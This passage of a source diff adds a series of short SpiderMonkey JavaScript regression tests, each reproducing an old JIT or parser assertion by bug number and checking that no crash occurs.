+++ b/js/src/tests/non262/regress/regress-456540-01.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 456540;
+var summary = 'Do not assert with JIT: (m != JSVAL_INT) || isInt32(*vp)" with ((-1) % ""';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 5; ++j) { var t = ((-1) % "" ); }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-456540-02.js b/js/src/tests/non262/regress/regress-456540-02.js
new file mode 100644
index 0000000000..41d685ffc1
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-456540-02.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 456540;
+var summary = 'Do not assert with JIT: (m != JSVAL_INT) || isInt32(*vp)" with ((-1) % ""';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function() { for (var j = 0; j < 5; ++j) { ((-1) % "" ); } })();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-457065-01.js b/js/src/tests/non262/regress/regress-457065-01.js
new file mode 100644
index 0000000000..51965d4bba
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-457065-01.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 457065;
+var summary = 'Do not assert: !fp->callee || fp->thisp == fp->argv[-1].toObjectOrNull()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var e = eval;
+ for (var a in this) { }
+ (function() { eval("this; for (let b in [0,1,2]) { }"); })();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-457065-02.js b/js/src/tests/non262/regress/regress-457065-02.js
new file mode 100644
index 0000000000..50b6e2f89d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-457065-02.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 457065;
+var summary = 'Do not assert: !fp->callee || fp->thisp == fp->argv[-1].toObjectOrNull()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function(){ eval('this'); (function(){ for(let y in [0,1,2]) 6;})(); })();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-457065-03.js b/js/src/tests/non262/regress/regress-457065-03.js
new file mode 100644
index 0000000000..4922deb2fc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-457065-03.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 457065;
+var summary = 'Do not assert: !fp->callee || fp->thisp == fp->argv[-1].toObjectOrNull()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function() {
+ new function (){ for (var x = 0; x < 3; ++x){} };
+ })();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-457456.js b/js/src/tests/non262/regress/regress-457456.js
new file mode 100644
index 0000000000..a54befc95d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-457456.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 457456;
+var summary = 'Do not assert with JIT: cond->isCond()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 4; ++j) { if (undefined < false) { } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-457778.js b/js/src/tests/non262/regress/regress-457778.js
new file mode 100644
index 0000000000..cf7829d85d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-457778.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 457778;
+var summary = 'Do not assert with JIT: cond->isCond()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 4; ++j) { if (undefined < false) { } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-458076.js b/js/src/tests/non262/regress/regress-458076.js
new file mode 100644
index 0000000000..fa70bda9b0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-458076.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 458076;
+var summary = 'Do not assert with JIT: !lhs->isQuad() && !rhs->isQuad()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let j = 0; j < 3; ++j) { true == 0; }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-458851.js b/js/src/tests/non262/regress/regress-458851.js
new file mode 100644
index 0000000000..843bb4f2a7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-458851.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 458851;
+var summary = 'TM: for-in loops should not skip every other value sometimes';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function f() {
+ var a = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16];
+ var x = 0;
+ for (var i in a) {
+ i = parseInt(i);
+ x++;
+ }
+ print(actual = x);
+}
+
+expect = 16;
+f();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-459085.js b/js/src/tests/non262/regress/regress-459085.js
new file mode 100644
index 0000000000..627e8d1514
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-459085.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459085;
+var summary = 'Do not assert with JIT: Should not move data from GPR to XMM';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var m = new Number(3);
+ function foo() { for (var i=0; i<20;i++) m.toString(); }
+ foo();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-459185.js b/js/src/tests/non262/regress/regress-459185.js
new file mode 100644
index 0000000000..10d2b3e473
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-459185.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459185;
+var summary = 'Do not assert: pn->pn_arity == PN_BINARY';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ for (var {a: []} in []) { }
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-459186.js b/js/src/tests/non262/regress/regress-459186.js
new file mode 100644
index 0000000000..142255c5fa
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-459186.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459186;
+var summary = 'Do not crash in CheckDestructuring';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ for (var [,{y}] in []) {}
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-459389.js b/js/src/tests/non262/regress/regress-459389.js
new file mode 100644
index 0000000000..e63e064a0c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-459389.js
@@ -0,0 +1,119 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459389;
+var summary = 'Do not crash with JIT';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+print('mmmm, food!');
+
+
+var SNI = {};
+SNI.MetaData={};
+SNI.MetaData.Parameter=function()
+{
+var parameters={};
+this.addParameter=function(key,value)
+{
+parameters[key]=[];
+parameters[key].push(value);
+};
+this.getParameter=function(key,separator){
+if(!parameters[key])
+{
+return;
+}
+return parameters[key].join(separator);
+};
+this.getKeys=function()
+{
+return parameters;
+};
+};
+SNI.MetaData.Manager=function(){
+var m=new SNI.MetaData.Parameter();
+this.getParameter=m.getParameter;
+};
+var MetaDataManager=SNI.MetaData.Manager;
+SNI.Ads={ };
+SNI.Ads.Url=function(){
+var p=new SNI.MetaData.Parameter();
+this.addParameter=p.addParameter;
+this.getParameter=p.getParameter;
+};
+function Ad() {
+var url=new SNI.Ads.Url();
+this.addParameter=url.addParameter;
+this.getParameter=url.getParameter;
+}
+function DartAd() {
+ return AdUrl.prototype=new Ad();
+}
+function AdUrl() { }
+function AdRestriction() {
+var p=new SNI.MetaData.Parameter();
+this.addParameter=p.addParameter;
+this.getParameter=p.getParameter;
+this.getKeys=p.getKeys;
+}
+function AdRestrictionManager(){
+this.restriction=[];
+this.isActive=isActive;
+this.isMatch=isMatch;
+this.startMatch=startMatch;
+function isActive(ad,mdm){
+var value=false;
+for(var i=0;i<this.restriction.length;i++)
+{
+adRestriction=this.restriction[i];
+value=this.startMatch(ad,mdm,adRestriction);
+}
+}
+function startMatch(ad,mdm,adRestriction){
+for(var key in adRestriction.getKeys()){
+var restrictions=adRestriction.getParameter(key,',');
+var value=mdm.getParameter(key,'');
+match=this.isMatch(value,restrictions);
+if(!match){
+value=ad.getParameter(key,'')
+match=this.isMatch(value,restrictions);
+}
+}
+}
+function isMatch(value,restrictions){
+var match=false;
+if(value)
+{
+splitValue=value.split('');
+for(var x=0;x<splitValue.length;x++){
+for(var a;a<restrictions.length;a++){ }
+}
+}
+return match;
+}
+}
+var adRestrictionManager = new AdRestrictionManager();
+var restrictionLeader6 = new AdRestriction();
+restrictionLeader6.addParameter("", "");
+adRestrictionManager.restriction.push(restrictionLeader6);
+var restrictionLeader7 = new AdRestriction();
+restrictionLeader7.addParameter("", "");
+adRestrictionManager.restriction.push(restrictionLeader7);
+function FoodAd(adtype)
+{
+ ad=new DartAd()
+ ad.addParameter("",adtype)
+ adRestrictionManager.isActive(ad, mdManager)
+}
+var mdManager = new MetaDataManager() ;
+ FoodAd('P')
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-459628.js b/js/src/tests/non262/regress/regress-459628.js
new file mode 100644
index 0000000000..1e0e2e9d6c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-459628.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459628;
+var summary = 'Do not assert: STOBJ_GET_SLOT(obj, map->freeslot).isUndefined()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+(function() {
+ for (var odjoff = 0; odjoff < 4; ++odjoff) {
+ new Date()[0] = 3;
+ }
+})();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-459990.js b/js/src/tests/non262/regress/regress-459990.js
new file mode 100644
index 0000000000..03d3ba257a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-459990.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459990;
+var summary = 'Do not crash with if (true && a && b) { }';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ if (true && a && b) { }
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-460024.js b/js/src/tests/non262/regress/regress-460024.js
new file mode 100644
index 0000000000..d8fab7f4e3
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-460024.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 460024;
+var summary = 'Regression from bug 451154';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'PASS';
+ actual = 'FAIL';
+
+
+ var js = 'Function.prototype.inherits = function(a) {' +
+ ' actual = "PASS";' +
+ '};' +
+ 'function f() { }' +
+ 'f.inherits();';
+ function doeval(callback) { callback(js) };
+ doeval(eval);
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-460117.js b/js/src/tests/non262/regress/regress-460117.js
new file mode 100644
index 0000000000..33512e4e8a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-460117.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 460117;
+var summary = 'TM: hasOwnProperty with JIT';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function t(o, proplist) {
+ var props=proplist.split(/\s+/g);
+ for (var i=0, len=props.length; i<len; i++) {
+ if (o.hasOwnProperty(props[i])) {
+ // do something
+ } else {
+ actual += (props[i]+': '+o.hasOwnProperty(props[i]));
+ }
+ }
+ };
+
+ t({ bar: 123, baz: 123, quux: 123 }, 'bar baz quux');
+
+ reportCompare(expect, actual, summary + ' : nonjit');
+
+
+ t({ bar: 123, baz: 123, quux: 123 }, 'bar baz quux');
+
+
+ reportCompare(expect, actual, summary + ' : jit');
+}
diff --git a/js/src/tests/non262/regress/regress-460886-01.js b/js/src/tests/non262/regress/regress-460886-01.js
new file mode 100644
index 0000000000..e01a8795c7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-460886-01.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 460886;
+var summary = 'Do not asssert: end >= begin';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var j = 0; j < 5; ++j) { "".substring(5); }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-460886-02.js b/js/src/tests/non262/regress/regress-460886-02.js
new file mode 100644
index 0000000000..c596e229a4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-460886-02.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 460886;
+var summary = 'Do not crash @ js_NewStringCopy';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var j = 0; j < 5; ++j) { "".substring(-60000); }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-461307.js b/js/src/tests/non262/regress/regress-461307.js
new file mode 100644
index 0000000000..06e2b8f3ec
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-461307.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 461307;
+var summary = 'Do not crash @ QuoteString';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ print(function() { for(/x/[''] in []) { } });
+
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-461723.js b/js/src/tests/non262/regress/regress-461723.js
new file mode 100644
index 0000000000..009441f722
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-461723.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 461723;
+var summary = 'Do not assert: (m != JSVAL_INT) || isInt32(*vp)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 30; ++j) { (0 + void 0) && 0; }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-462071.js b/js/src/tests/non262/regress/regress-462071.js
new file mode 100644
index 0000000000..d1ed6420f7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-462071.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462071;
+var summary = 'Do not assert: !ti->stackTypeMap.matches(ti_other->stackTypeMap)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let i of [{}, 0, 0, {}, 0, {}, 0]) { }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-462282.js b/js/src/tests/non262/regress/regress-462282.js
new file mode 100644
index 0000000000..e1a8d9ff01
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-462282.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462282;
+var summary = 'Do not assert: !ti->stackTypeMap.matches(ti_other->stackTypeMap)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let i of [0, 0, 0, "", 0, 0, "", 0, 0, "", 0]) { }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-462292.js b/js/src/tests/non262/regress/regress-462292.js
new file mode 100644
index 0000000000..3d72131a85
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-462292.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462292;
+var summary = 'Do not assert: pn->pn_op == JSOP_CALL || pn->pn_op == JSOP_EVAL';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ [].apply() = 1;
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-462388.js b/js/src/tests/non262/regress/regress-462388.js
new file mode 100644
index 0000000000..7dff173a2f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-462388.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462388;
+var summary = 'Do not assert: JSVAL_TAG(v) == JSVAL_STRING';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var c = 0, v; for (let x of ["",v,v,v]) { for (c=0;c<4;++c) { } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-462407.js b/js/src/tests/non262/regress/regress-462407.js
new file mode 100644
index 0000000000..9de15a25b8
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-462407.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462407;
+var summary = 'Do not assert: !ti->stackTypeMap.matches(ti_other->stackTypeMap)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+(function f() { for (let i of [0, {}, 0, 1.5, {}, 0, 1.5, 0, 0]) { }})();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-462879.js b/js/src/tests/non262/regress/regress-462879.js
new file mode 100644
index 0000000000..5b3f85909a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-462879.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462879;
+var summary = 'Do not assert: UPVAR_FRAME_SKIP(uva->vector[i]) == 1';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ (function(c){eval("eval('c.x')")})();
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-462989.js b/js/src/tests/non262/regress/regress-462989.js
new file mode 100644
index 0000000000..881f6ee3e0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-462989.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462989;
+var summary = 'Do not assert: need a way to EOT now, since this is trace end';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function a()
+{
+ "".split(";");
+ this.v = true;
+}
+
+function b()
+{
+ var z = { t: function() { for (var i = 0; i < 5; i++) { a(); } } };
+ z.t();
+}
+
+b();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-463259.js b/js/src/tests/non262/regress/regress-463259.js
new file mode 100644
index 0000000000..f389957060
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-463259.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
